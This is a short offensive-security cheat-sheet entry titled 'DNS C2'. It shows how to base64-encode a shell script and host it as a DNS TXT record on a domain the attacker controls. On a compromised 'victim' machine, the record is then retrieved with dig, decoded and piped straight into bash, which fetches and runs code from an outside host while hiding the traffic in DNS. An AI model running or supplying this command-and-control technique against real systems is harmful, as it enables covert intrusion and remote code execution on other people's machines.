DNS C2
Example:
1) Victim2:
cat /tmp/script.sh | base642) Add the encoded script as a TXT DNS record to the domain we control
3) Victim2:
dig +short -t TXT script.example.com4) Victim2:
dig +short -t TXT script.example.com | tr -d "\"" | base64 -d | bashLast updated